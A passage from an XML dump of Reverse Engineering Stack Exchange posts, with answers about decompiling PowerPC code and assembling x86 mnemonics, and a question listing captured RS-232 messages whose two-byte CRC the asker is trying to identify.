  <row Id="6640" PostTypeId="2" ParentId="6638" CreationDate="2014-11-15T08:58:55.500" Score="1" Body="&lt;p&gt;You can try to use &lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot; rel=&quot;nofollow&quot;&gt;retargetable decompiler&lt;/a&gt; with your code.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-11-15T08:58:55.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6641" PostTypeId="2" ParentId="6637" CreationDate="2014-11-15T09:03:58.197" Score="0" Body="&lt;p&gt;You can use assembler. &#xA;Or online assembler such as &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&#xA;Or you can use Ida's Edit--&gt;Patch program--&gt;Assemble submenu if you use Ida.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-11-15T09:03:58.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6642" PostTypeId="2" ParentId="6637" CreationDate="2014-11-15T16:07:41.220" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/RTA&quot; rel=&quot;nofollow noreferrer&quot;&gt;RTA&lt;/a&gt; is an easy to use tool that allows you to enter either opcodes or mnemonics and will convert them from one to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below, I entered &lt;code&gt;XCHG EAX,ESP&lt;/code&gt; and &lt;code&gt;RETN&lt;/code&gt; on the right, and RTA produced &lt;code&gt;94&lt;/code&gt; and &lt;code&gt;C3&lt;/code&gt; on the left:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FLGrT.png&quot; alt=&quot;RTA&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, on the other hand, you really want to use WinDbg, then you need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load a target into WinDbg&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;kbd&gt;a&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt; to enter Input mode&lt;/li&gt;&#xA;&lt;li&gt;Type your mnemonics (for example, &lt;code&gt;xchg eax,esp&lt;/code&gt;), &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Enter&lt;/kbd&gt; again to escape Input mode&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;kbd&gt;u&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt; to show the disassembly of what you just assembled&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;​See below for an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; a&#xA;778e05a6 xchg eax,esp&#xA;xchg eax,esp&#xA;778e05a7 &#xA;&#xA;0:000&amp;gt; u&#xA;ntdll!LdrVerifyImageMatchesChecksum+0x633:&#xA;778e05a6 94              xchg    eax,esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-11-15T16:24:15.547" LastActivityDate="2014-11-15T16:24:15.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6643" PostTypeId="2" ParentId="6638" CreationDate="2014-11-16T08:04:20.103" Score="2" Body="&lt;p&gt;Based on w s 's answer, do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extract the decompression function from the binary. (On Linux, use &lt;code&gt;dd if=Start.dol bs=1 skip=1292664 count=7364 of=decomp.ppc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the retargetable decompiler to &lt;kbd&gt;raw machine code&lt;/kbd&gt;, &lt;code&gt;decomp.ppc&lt;/code&gt;, file format doesn't matter, &lt;kbd&gt;power pc&lt;/kbd&gt;, &lt;kbd&gt;big&lt;/kbd&gt; endian, section address and entry point addess = &lt;code&gt;0x8013FC58&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these parameters, you'll get your code decompiled. The result isn't exactly what i'd call readable, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll still have the problem that the code calls some more functions that aren't in the snipped file, but you can probably handle them in the same way.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-16T08:04:20.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6644" PostTypeId="1" CreationDate="2014-11-17T00:06:44.150" Score="6" ViewCount="1945" Body="&lt;p&gt;I give up.... I've tried for two years to determine which CRC algorithm is being&#xA;using over an RS-232 serial connection between two pieces of equipment. The equipment&#xA;dates from about 2002. I'm only assuming that its CRC protected but I might be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built an RS-232 monitor which I've connected to the data line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can clearly see on my oscope that it is standard RS-232 with a start bit,&#xA;8 data bits and a stop bit. I can tell that it is sent LSbit first. Its 9600 baud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can control parts of the data in the message but not all of it from the&#xA;transmitting equipment. I've been able to determine what each of the bytes&#xA;in the message mean. By turning knobs on the transmitter, I can see particular&#xA;bytes increment by one. So I am fairly certain that I know what each of&#xA;the data bytes of the message mean. They are all a simple binary encoding of&#xA;knob positions and sometimes an ASCII character encoding of switch positions.&#xA;The data bytes in the message all makes sense in the context of what the equipment does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a long sequence of messages over the serial line. I've been able to make&#xA;the 4th byte sequence through all 256 values. The transmitting equipment is&#xA;constructing these messages, I've just captured them. The first&#xA;6 bytes are the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two bytes appear to me to be a CRC rather than a checksum. From this&#xA;list, its possible to gather up many message pairs that differ by one bit in&#xA;that 4th byte. I know that can be useful.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;   0x00 0x09 0x69 0x31 0x97 0x03 0x54 0x67&#xA;   0x00 0x09 0x69 0x31 0x98 0x03 0xAD 0xD5&#xA;   0x00 0x09 0x69 0x31 0x99 0x03 0x16 0xC9&#xA;   0x00 0x09 0x69 0x31 0x9A 0x03 0xDB 0xEC&#xA;   0x00 0x09 0x69 0x31 0x9B 0x03 0x60 0xF0&#xA;   0x00 0x09 0x69 0x31 0x9C 0x03 0x41 0xA7&#xA;   0x00 0x09 0x69 0x31 0x9D 0x03 0xFA 0xBB&#xA;   0x00 0x09 0x69 0x31 0x9E 0x03 0x37 0x9E&#xA;   0x00 0x09 0x69 0x31 0x9F 0x03 0x8C 0x82&#xA;   0x00 0x09 0x69 0x31 0xA0 0x03 0x87 0x7C&#xA;   0x00 0x09 0x69 0x31 0xA1 0x03 0x3C 0x60&#xA;   0x00 0x09 0x69 0x31 0xA2 0x03 0xF1 0x45&#xA;   0x00 0x09 0x69 0x31 0xA3 0x03 0x4A 0x59&#xA;   0x00 0x09 0x69 0x31 0xA4 0x03 0x6B 0x0E&#xA;   0x00 0x09 0x69 0x31 0xA5 0x03 0xD0 0x12&#xA;   0x00 0x09 0x69 0x31 0xA6 0x03 0x1D 0x37&#xA;   0x00 0x09 0x69 0x31 0xA7 0x03 0xA6 0x2B&#xA;   0x00 0x09 0x69 0x31 0xA8 0x03 0x5F 0x99&#xA;   0x00 0x09 0x69 0x31 0xA9 0x03 0xE4 0x85&#xA;   0x00 0x09 0x69 0x31 0xAA 0x03 0x29 0xA0&#xA;   0x00 0x09 0x69 0x31 0xAB 0x03 0x92 0xBC&#xA;   0x00 0x09 0x69 0x31 0xAC 0x03 0xB3 0xEB&#xA;   0x00 0x09 0x69 0x31 0xAD 0x03 0x08 0xF7&#xA;   0x00 0x09 0x69 0x31 0xAE 0x03 0xC5 0xD2&#xA;   0x00 0x09 0x69 0x31 0xAF 0x03 0x7E 0xCE&#xA;   0x00 0x09 0x69 0x31 0xB0 0x03 0x26 0xBF&#xA;   0x00 0x09 0x69 0x31 0xB1 0x03 0x9D 0xA3&#xA;   0x00 0x09 0x69 0x31 0xB2 0x03 0x50 0x86&#xA;   0x00 0x09 0x69 0x31 0xB3 0x03 0xEB 0x9A&#xA;   0x00 0x09 0x69 0x31 0xB4 0x03 0xCA 0xCD&#xA;   0x00 0x09 0x69 0x31 0xB5 0x03 0x71 0xD1&#xA;   0x00 0x09 0x69 0x31 0xB6 0x03 0xBC 0xF4&#xA;   0x00 0x09 0x69 0x31 0xB7 0x03 0x07 0xE8&#xA;   0x00 0x09 0x69 0x31 0xB8 0x03 0xFE 0x5A&#xA;   0x00 0x09 0x69 0x31 0xB9 0x03 0x45 0x46&#xA;   0x00 0x09 0x69 0x31 0xBA 0x03 0x88 0x63&#xA;   0x00 0x09 0x69 0x31 0xBB 0x03 0x33 0x7F&#xA;   0x00 0x09 0x69 0x31 0xBC 0x03 0x12 0x28&#xA;   0x00 0x09 0x69 0x31 0xBD 0x03 0xA9 0x34&#xA;   0x00 0x09 0x69 0x31 0xBE 0x03 0x64 0x11&#xA;   0x00 0x09 0x69 0x31 0xBF 0x03 0xDF 0x0D&#xA;   0x00 0x09 0x69 0x31 0xC0 0x03 0x63 0xE5&#xA;   0x00 0x09 0x69 0x31 0xC1 0x03 0xD8 0xF9&#xA;   0x00 0x09 0x69 0x31 0xC2 0x03 0x15 0xDC&#xA;   0x00 0x09 0x69 0x31 0xC3 0x03 0xAE 0xC0&#xA;   0x00 0x09 0x69 0x31 0xC4 0x03 0x8F 0x97&#xA;   0x00 0x09 0x69 0x31 0xC5 0x03 0x34 0x8B&#xA;   0x00 0x09 0x69 0x31 0xC6 0x03 0xF9 0xAE&#xA;   0x00 0x09 0x69 0x31 0xC7 0x03 0x42 0xB2&#xA;   0x00 0x09 0x69 0x31 0xC8 0x03 0xBB 0x00&#xA;   0x00 0x09 0x69 0x31 0xC9 0x03 0x00 0x1C&#xA;   0x00 0x09 0x69 0x31 0xCA 0x03 0xCD 0x39&#xA;   0x00 0x09 0x69 0x31 0xCB 0x03 0x76 0x25&#xA;   0x00 0x09 0x69 0x31 0xCC 0x03 0x57 0x72&#xA;   0x00 0x09 0x69 0x31 0xCD 0x03 0xEC 0x6E&#xA;   0x00 0x09 0x69 0x31 0xCE 0x03 0x21 0x4B&#xA;   0x00 0x09 0x69 0x31 0xCF 0x03 0x9A 0x57&#xA;   0x00 0x09 0x69 0x31 0xD0 0x03 0xC2 0x26&#xA;   0x00 0x09 0x69 0x31 0xD1 0x03 0x79 0x3A&#xA;   0x00 0x09 0x69 0x31 0xD2 0x03 0xB4 0x1F&#xA;   0x00 0x09 0x69 0x31 0xD3 0x03 0x0F 0x03&#xA;   0x00 0x09 0x69 0x31 0xD4 0x03 0x2E 0x54&#xA;   0x00 0x09 0x69 0x31 0xD5 0x03 0x95 0x48&#xA;   0x00 0x09 0x69 0x31 0xD6 0x03 0x58 0x6D&#xA;   0x00 0x09 0x69 0x31 0xD7 0x03 0xE3 0x71&#xA;   0x00 0x09 0x69 0x31 0xD8 0x03 0x1A 0xC3&#xA;   0x00 0x09 0x69 0x31 0xD9 0x03 0xA1 0xDF&#xA;   0x00 0x09 0x69 0x31 0xDA 0x03 0x6C 0xFA&#xA;   0x00 0x09 0x69 0x31 0xDB 0x03 0xD7 0xE6&#xA;   0x00 0x09 0x69 0x31 0xDC 0x03 0xF6 0xB1&#xA;   0x00 0x09 0x69 0x31 0xDD 0x03 0x4D 0xAD&#xA;   0x00 0x09 0x69 0x31 0xDE 0x03 0x80 0x88&#xA;   0x00 0x09 0x69 0x31 0xDF 0x03 0x3B 0x94&#xA;   0x00 0x09 0x69 0x31 0xE0 0x03 0x30 0x6A&#xA;   0x00 0x09 0x69 0x31 0xE1 0x03 0x8B 0x76&#xA;   0x00 0x09 0x69 0x31 0xE2 0x03 0x46 0x53&#xA;   0x00 0x09 0x69 0x31 0xE3 0x03 0xFD 0x4F&#xA;   0x00 0x09 0x69 0x31 0xE4 0x03 0xDC 0x18&#xA;   0x00 0x09 0x69 0x31 0xE5 0x03 0x67 0x04&#xA;   0x00 0x09 0x69 0x31 0xE6 0x03 0xAA 0x21&#xA;   0x00 0x09 0x69 0x31 0xE7 0x03 0x11 0x3D&#xA;   0x00 0x09 0x69 0x31 0xE8 0x03 0xE8 0x8F&#xA;   0x00 0x09 0x69 0x31 0xE9 0x03 0x53 0x93&#xA;   0x00 0x09 0x69 0x31 0xEA 0x03 0x9E 0xB6&#xA;   0x00 0x09 0x69 0x31 0xEB 0x03 0x25 0xAA&#xA;   0x00 0x09 0x69 0x31 0xEC 0x03 0x04 0xFD&#xA;   0x00 0x09 0x69 0x31 0xED 0x03 0xBF 0xE1&#xA;   0x00 0x09 0x69 0x31 0xEE 0x03 0x72 0xC4&#xA;   0x00 0x09 0x69 0x31 0xEF 0x03 0xC9 0xD8&#xA;   0x00 0x09 0x69 0x31 0xF0 0x03 0x91 0xA9&#xA;   0x00 0x09 0x69 0x31 0xF1 0x03 0x2A 0xB5&#xA;   0x00 0x09 0x69 0x31 0xF2 0x03 0xE7 0x90&#xA;   0x00 0x09 0x69 0x31 0xF3 0x03 0x5C 0x8C&#xA;   0x00 0x09 0x69 0x31 0xF4 0x03 0x7D 0xDB&#xA;   0x00 0x09 0x69 0x31 0xF5 0x03 0xC6 0xC7&#xA;   0x00 0x09 0x69 0x31 0xF6 0x03 0x0B 0xE2&#xA;   0x00 0x09 0x69 0x31 0xF7 0x03 0xB0 0xFE&#xA;   0x00 0x09 0x69 0x31 0xF8 0x03 0x49 0x4C&#xA;   0x00 0x09 0x69 0x31 0xF9 0x03 0xF2 0x50&#xA;   0x00 0x09 0x69 0x31 0xFA 0x03 0x3F 0x75&#xA;   0x00 0x09 0x69 0x31 0xFB 0x03 0x84 0x69&#xA;   0x00 0x09 0x69 0x31 0xFC 0x03 0xA5 0x3E&#xA;   0x00 0x09 0x69 0x31 0xFD 0x03 0x1E 0x22&#xA;   0x00 0x09 0x69 0x31 0xFE 0x03 0xD3 0x07&#xA;   0x00 0x09 0x69 0x31 0xFF 0x03 0x68 0x1B&#xA;   0x00 0x09 0x69 0x31 0x00 0x03 0xBA 0xDE&#xA;   0x00 0x09 0x69 0x31 0x01 0x03 0x01 0xC2&#xA;   0x00 0x09 0x69 0x31 0x02 0x03 0xCC 0xE7&#xA;   0x00 0x09 0x69 0x31 0x03 0x03 0x77 0xFB&#xA;   0x00 0x09 0x69 0x31 0x04 0x03 0x56 0xAC&#xA;   0x00 0x09 0x69 0x31 0x05 0x03 0xED 0xB0&#xA;   0x00 0x09 0x69 0x31 0x06 0x03 0x20 0x95&#xA;   0x00 0x09 0x69 0x31 0x07 0x03 0x9B 0x89&#xA;   0x00 0x09 0x69 0x31 0x08 0x03 0x62 0x3B&#xA;   0x00 0x09 0x69 0x31 0x09 0x03 0xD9 0x27&#xA;   0x00 0x09 0x69 0x31 0x0A 0x03 0x14 0x02&#xA;   0x00 0x09 0x69 0x31 0x0B 0x03 0xAF 0x1E&#xA;   0x00 0x09 0x69 0x31 0x0C 0x03 0x8E 0x49&#xA;   0x00 0x09 0x69 0x31 0x0D 0x03 0x35 0x55&#xA;   0x00 0x09 0x69 0x31 0x0E 0x03 0xF8 0x70&#xA;   0x00 0x09 0x69 0x31 0x0F 0x03 0x43 0x6C&#xA;   0x00 0x09 0x69 0x31 0x10 0x03 0x1B 0x1D&#xA;   0x00 0x09 0x69 0x31 0x11 0x03 0xA0 0x01&#xA;   0x00 0x09 0x69 0x31 0x12 0x03 0x6D 0x24&#xA;   0x00 0x09 0x69 0x31 0x13 0x03 0xD6 0x38&#xA;   0x00 0x09 0x69 0x31 0x14 0x03 0xF7 0x6F&#xA;   0x00 0x09 0x69 0x31 0x15 0x03 0x4C 0x73&#xA;   0x00 0x09 0x69 0x31 0x16 0x03 0x81 0x56&#xA;   0x00 0x09 0x69 0x31 0x17 0x03 0x3A 0x4A&#xA;   0x00 0x09 0x69 0x31 0x18 0x03 0xC3 0xF8&#xA;   0x00 0x09 0x69 0x31 0x19 0x03 0x78 0xE4&#xA;   0x00 0x09 0x69 0x31 0x1A 0x03 0xB5 0xC1&#xA;   0x00 0x09 0x69 0x31 0x1B 0x03 0x0E 0xDD&#xA;   0x00 0x09 0x69 0x31 0x1C 0x03 0x2F 0x8A&#xA;   0x00 0x09 0x69 0x31 0x1D 0x03 0x94 0x96&#xA;   0x00 0x09 0x69 0x31 0x1E 0x03 0x59 0xB3&#xA;   0x00 0x09 0x69 0x31 0x1F 0x03 0xE2 0xAF&#xA;   0x00 0x09 0x69 0x31 0x20 0x03 0xE9 0x51&#xA;   0x00 0x09 0x69 0x31 0x21 0x03 0x52 0x4D&#xA;   0x00 0x09 0x69 0x31 0x22 0x03 0x9F 0x68&#xA;   0x00 0x09 0x69 0x31 0x23 0x03 0x24 0x74&#xA;   0x00 0x09 0x69 0x31 0x24 0x03 0x05 0x23&#xA;   0x00 0x09 0x69 0x31 0x25 0x03 0xBE 0x3F&#xA;   0x00 0x09 0x69 0x31 0x26 0x03 0x73 0x1A&#xA;   0x00 0x09 0x69 0x31 0x27 0x03 0xC8 0x06&#xA;   0x00 0x09 0x69 0x31 0x28 0x03 0x31 0xB4&#xA;   0x00 0x09 0x69 0x31 0x29 0x03 0x8A 0xA8&#xA;   0x00 0x09 0x69 0x31 0x2A 0x03 0x47 0x8D&#xA;   0x00 0x09 0x69 0x31 0x2B 0x03 0xFC 0x91&#xA;   0x00 0x09 0x69 0x31 0x2C 0x03 0xDD 0xC6&#xA;   0x00 0x09 0x69 0x31 0x2D 0x03 0x66 0xDA&#xA;   0x00 0x09 0x69 0x31 0x2E 0x03 0xAB 0xFF&#xA;   0x00 0x09 0x69 0x31 0x2F 0x03 0x10 0xE3&#xA;   0x00 0x09 0x69 0x31 0x30 0x03 0x48 0x92&#xA;   0x00 0x09 0x69 0x31 0x31 0x03 0xF3 0x8E&#xA;   0x00 0x09 0x69 0x31 0x32 0x03 0x3E 0xAB&#xA;   0x00 0x09 0x69 0x31 0x33 0x03 0x85 0xB7&#xA;   0x00 0x09 0x69 0x31 0x34 0x03 0xA4 0xE0&#xA;   0x00 0x09 0x69 0x31 0x35 0x03 0x1F 0xFC&#xA;   0x00 0x09 0x69 0x31 0x36 0x03 0xD2 0xD9&#xA;   0x00 0x09 0x69 0x31 0x37 0x03 0x69 0xC5&#xA;   0x00 0x09 0x69 0x31 0x38 0x03 0x90 0x77&#xA;   0x00 0x09 0x69 0x31 0x39 0x03 0x2B 0x6B&#xA;   0x00 0x09 0x69 0x31 0x3A 0x03 0xE6 0x4E&#xA;   0x00 0x09 0x69 0x31 0x3B 0x03 0x5D 0x52&#xA;   0x00 0x09 0x69 0x31 0x3C 0x03 0x7C 0x05&#xA;   0x00 0x09 0x69 0x31 0x3D 0x03 0xC7 0x19&#xA;   0x00 0x09 0x69 0x31 0x3E 0x03 0x0A 0x3C&#xA;   0x00 0x09 0x69 0x31 0x3F 0x03 0xB1 0x20&#xA;   0x00 0x09 0x69 0x31 0x40 0x03 0x0D 0xC8&#xA;   0x00 0x09 0x69 0x31 0x41 0x03 0xB6 0xD4&#xA;   0x00 0x09 0x69 0x31 0x42 0x03 0x7B 0xF1&#xA;   0x00 0x09 0x69 0x31 0x43 0x03 0xC0 0xED&#xA;   0x00 0x09 0x69 0x31 0x44 0x03 0xE1 0xBA&#xA;   0x00 0x09 0x69 0x31 0x45 0x03 0x5A 0xA6&#xA;   0x00 0x09 0x69 0x31 0x46 0x03 0x97 0x83&#xA;   0x00 0x09 0x69 0x31 0x47 0x03 0x2C 0x9F&#xA;   0x00 0x09 0x69 0x31 0x48 0x03 0xD5 0x2D&#xA;   0x00 0x09 0x69 0x31 0x49 0x03 0x6E 0x31&#xA;   0x00 0x09 0x69 0x31 0x4A 0x03 0xA3 0x14&#xA;   0x00 0x09 0x69 0x31 0x4B 0x03 0x18 0x08&#xA;   0x00 0x09 0x69 0x31 0x4C 0x03 0x39 0x5F&#xA;   0x00 0x09 0x69 0x31 0x4D 0x03 0x82 0x43&#xA;   0x00 0x09 0x69 0x31 0x4E 0x03 0x4F 0x66&#xA;   0x00 0x09 0x69 0x31 0x4F 0x03 0xF4 0x7A&#xA;   0x00 0x09 0x69 0x31 0x50 0x03 0xAC 0x0B&#xA;   0x00 0x09 0x69 0x31 0x51 0x03 0x17 0x17&#xA;   0x00 0x09 0x69 0x31 0x52 0x03 0xDA 0x32&#xA;   0x00 0x09 0x69 0x31 0x53 0x03 0x61 0x2E&#xA;   0x00 0x09 0x69 0x31 0x54 0x03 0x40 0x79&#xA;   0x00 0x09 0x69 0x31 0x55 0x03 0xFB 0x65&#xA;   0x00 0x09 0x69 0x31 0x56 0x03 0x36 0x40&#xA;   0x00 0x09 0x69 0x31 0x57 0x03 0x8D 0x5C&#xA;   0x00 0x09 0x69 0x31 0x58 0x03 0x74 0xEE&#xA;   0x00 0x09 0x69 0x31 0x59 0x03 0xCF 0xF2&#xA;   0x00 0x09 0x69 0x31 0x5A 0x03 0x02 0xD7&#xA;   0x00 0x09 0x69 0x31 0x5B 0x03 0xB9 0xCB&#xA;   0x00 0x09 0x69 0x31 0x5C 0x03 0x98 0x9C&#xA;   0x00 0x09 0x69 0x31 0x5D 0x03 0x23 0x80&#xA;   0x00 0x09 0x69 0x31 0x5E 0x03 0xEE 0xA5&#xA;   0x00 0x09 0x69 0x31 0x5F 0x03 0x55 0xB9&#xA;   0x00 0x09 0x69 0x31 0x60 0x03 0x5E 0x47&#xA;   0x00 0x09 0x69 0x31 0x61 0x03 0xE5 0x5B&#xA;   0x00 0x09 0x69 0x31 0x62 0x03 0x28 0x7E&#xA;   0x00 0x09 0x69 0x31 0x63 0x03 0x93 0x62&#xA;   0x00 0x09 0x69 0x31 0x64 0x03 0xB2 0x35&#xA;   0x00 0x09 0x69 0x31 0x65 0x03 0x09 0x29&#xA;   0x00 0x09 0x69 0x31 0x66 0x03 0xC4 0x0C&#xA;   0x00 0x09 0x69 0x31 0x67 0x03 0x7F 0x10&#xA;   0x00 0x09 0x69 0x31 0x68 0x03 0x86 0xA2&#xA;   0x00 0x09 0x69 0x31 0x69 0x03 0x3D 0xBE&#xA;   0x00 0x09 0x69 0x31 0x6A 0x03 0xF0 0x9B&#xA;   0x00 0x09 0x69 0x31 0x6B 0x03 0x4B 0x87&#xA;   0x00 0x09 0x69 0x31 0x6C 0x03 0x6A 0xD0&#xA;   0x00 0x09 0x69 0x31 0x6D 0x03 0xD1 0xCC&#xA;   0x00 0x09 0x69 0x31 0x6E 0x03 0x1C 0xE9&#xA;   0x00 0x09 0x69 0x31 0x6F 0x03 0xA7 0xF5&#xA;   0x00 0x09 0x69 0x31 0x70 0x03 0xFF 0x84&#xA;   0x00 0x09 0x69 0x31 0x71 0x03 0x44 0x98&#xA;   0x00 0x09 0x69 0x31 0x72 0x03 0x89 0xBD&#xA;   0x00 0x09 0x69 0x31 0x73 0x03 0x32 0xA1&#xA;   0x00 0x09 0x69 0x31 0x74 0x03 0x13 0xF6&#xA;   0x00 0x09 0x69 0x31 0x75 0x03 0xA8 0xEA&#xA;   0x00 0x09 0x69 0x31 0x76 0x03 0x65 0xCF&#xA;   0x00 0x09 0x69 0x31 0x76 0x03 0x65 0xCF&#xA;   0x00 0x09 0x69 0x31 0x77 0x03 0xDE 0xD3&#xA;   0x00 0x09 0x69 0x31 0x78 0x03 0x27 0x61&#xA;   0x00 0x09 0x69 0x31 0x79 0x03 0x9C 0x7D&#xA;   0x00 0x09 0x69 0x31 0x7A 0x03 0x51 0x58&#xA;   0x00 0x09 0x69 0x31 0x7B 0x03 0xEA 0x44&#xA;   0x00 0x09 0x69 0x31 0x7C 0x03 0xCB 0x13&#xA;   0x00 0x09 0x69 0x31 0x7D 0x03 0x70 0x0F&#xA;   0x00 0x09 0x69 0x31 0x7E 0x03 0xBD 0x2A&#xA;   0x00 0x09 0x69 0x31 0x7F 0x03 0x06 0x36&#xA;   0x00 0x09 0x69 0x31 0x80 0x03 0xD4 0xF3&#xA;   0x00 0x09 0x69 0x31 0x81 0x03 0x6F 0xEF&#xA;   0x00 0x09 0x69 0x31 0x82 0x03 0xA2 0xCA&#xA;   0x00 0x09 0x69 0x31 0x83 0x03 0x19 0xD6&#xA;   0x00 0x09 0x69 0x31 0x84 0x03 0x38 0x81&#xA;   0x00 0x09 0x69 0x31 0x85 0x03 0x83 0x9D&#xA;   0x00 0x09 0x69 0x31 0x86 0x03 0x4E 0xB8&#xA;   0x00 0x09 0x69 0x31 0x87 0x03 0xF5 0xA4&#xA;   0x00 0x09 0x69 0x31 0x88 0x03 0x0C 0x16&#xA;   0x00 0x09 0x69 0x31 0x89 0x03 0xB7 0x0A&#xA;   0x00 0x09 0x69 0x31 0x8A 0x03 0x7A 0x2F&#xA;   0x00 0x09 0x69 0x31 0x8B 0x03 0xC1 0x33&#xA;   0x00 0x09 0x69 0x31 0x8C 0x03 0xE0 0x64&#xA;   0x00 0x09 0x69 0x31 0x8D 0x03 0x5B 0x78&#xA;   0x00 0x09 0x69 0x31 0x8E 0x03 0x96 0x5D&#xA;   0x00 0x09 0x69 0x31 0x8F 0x03 0x2D 0x41&#xA;   0x00 0x09 0x69 0x31 0x90 0x03 0x75 0x30&#xA;   0x00 0x09 0x69 0x31 0x91 0x03 0xCE 0x2C&#xA;   0x00 0x09 0x69 0x31 0x92 0x03 0x03 0x09&#xA;   0x00 0x09 0x69 0x31 0x93 0x03 0xB8 0x15&#xA;   0x00 0x09 0x69 0x31 0x94 0x03 0x99 0x42&#xA;   0x00 0x09 0x69 0x31 0x95 0x03 0x22 0x5E&#xA;   0x00 0x09 0x69 0x31 0x96 0x03 0xEF 0x7B&#xA;   0x00 0x09 0x69 0x31 0x97 0x03 0x54 0x67&#xA;   0x00 0x09 0x69 0x31 0x98 0x03 0xAD 0xD5&#xA;   0x00 0x09 0x69 0x31 0x99 0x03 0x16 0xC9&#xA;   0x00 0x09 0x69 0x31 0x9A 0x03 0xDB 0xEC&#xA;   0x00 0x09 0x69 0x31 0x9B 0x03 0x60 0xF0&#xA;   0x00 0x09 0x69 0x31 0x9C 0x03 0x41 0xA7&#xA;   0x00 0x09 0x69 0x31 0x9D 0x03 0xFA 0xBB&#xA;   0x00 0x09 0x69 0x31 0x9E 0x03 0x37 0x9E&#xA;   0x00 0x09 0x69 0x31 0x9F 0x03 0x8C 0x82&#xA;   0x00 0x09 0x69 0x31 0xA0 0x03 0x87 0x7C&#xA;   0x00 0x09 0x69 0x31 0xA1 0x03 0x3C 0x60&#xA;   0x00 0x09 0x69 0x31 0xA2 0x03 0xF1 0x45&#xA;   0x00 0x09 0x69 0x31 0xA3 0x03 0x4A 0x59&#xA;   0x00 0x09 0x69 0x31 0xA4 0x03 0x6B 0x0E&#xA;   0x00 0x09 0x69 0x31 0xA5 0x03 0xD0 0x12&#xA;   0x00 0x09 0x69 0x31 0xA6 0x03 0x1D 0x37&#xA;   0x00 0x09 0x69 0x31 0xA7 0x03 0xA6 0x2B&#xA;   0x00 0x09 0x69 0x31 0xA8 0x03 0x5F 0x99&#xA;   0x00 0x09 0x69 0x31 0xA9 0x03 0xE4 0x85&#xA;   0x00 0x09 0x69 0x31 0xAA 0x03 0x29 0xA0&#xA;   0x00 0x09 0x69 0x31 0xAB 0x03 0x92 0xBC&#xA;   0x00 0x09 0x69 0x31 0xAC 0x03 0xB3 0xEB&#xA;   0x00 0x09 0x69 0x31 0xAD 0x03 0x08 0xF7&#xA;   0x00 0x09 0x69 0x31 0xAE 0x03 0xC5 0xD2&#xA;   0x00 0x09 0x69 0x31 0xAF 0x03 0x7E 0xCE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've tried &quot;reveng&quot; on these messages with no luck. This equipment was&#xA;designed to work with a PC so I think we are working with little endian&#xA;bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my PC, I can duplicate these messages to mimic the transmitting equipment&#xA;and the receiving equipment accepts them. I can prefix the messages with&#xA;any number of 0x00 bytes and the receiving equipment accepts them. If I change&#xA;any bit in the message including the possible CRC bytes, the receiving&#xA;equipment rejects them (the receiver sends a simple OK message if it&#xA;accepts the message, otherwise it does not respond at all.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my PC, I have taken one of the messages and sent it to the receiver&#xA;with every possible two bytes at the end. The receiver rejects every&#xA;message except the message with the last two bytes which are the same&#xA;as the original message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those two bytes are important. Maybe they are somekind of checksum rather an CRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent two years going through the reverse enginerring document written by Greg Ewing&#xA;&lt;a href=&quot;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&lt;/a&gt;&#xA;and I can make some progress following his method but my progress eventually&#xA;stalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to say anything about what Greg's method helped me find because I might&#xA;have done it all wrong. If anyone thinks that it might be useful, I will post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn off the equipment and then turn it back on and have it&#xA;send the same message again, the last two bytes are the same each&#xA;time I do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm hoping that I can get more hints here on Reverse Engineering Stack 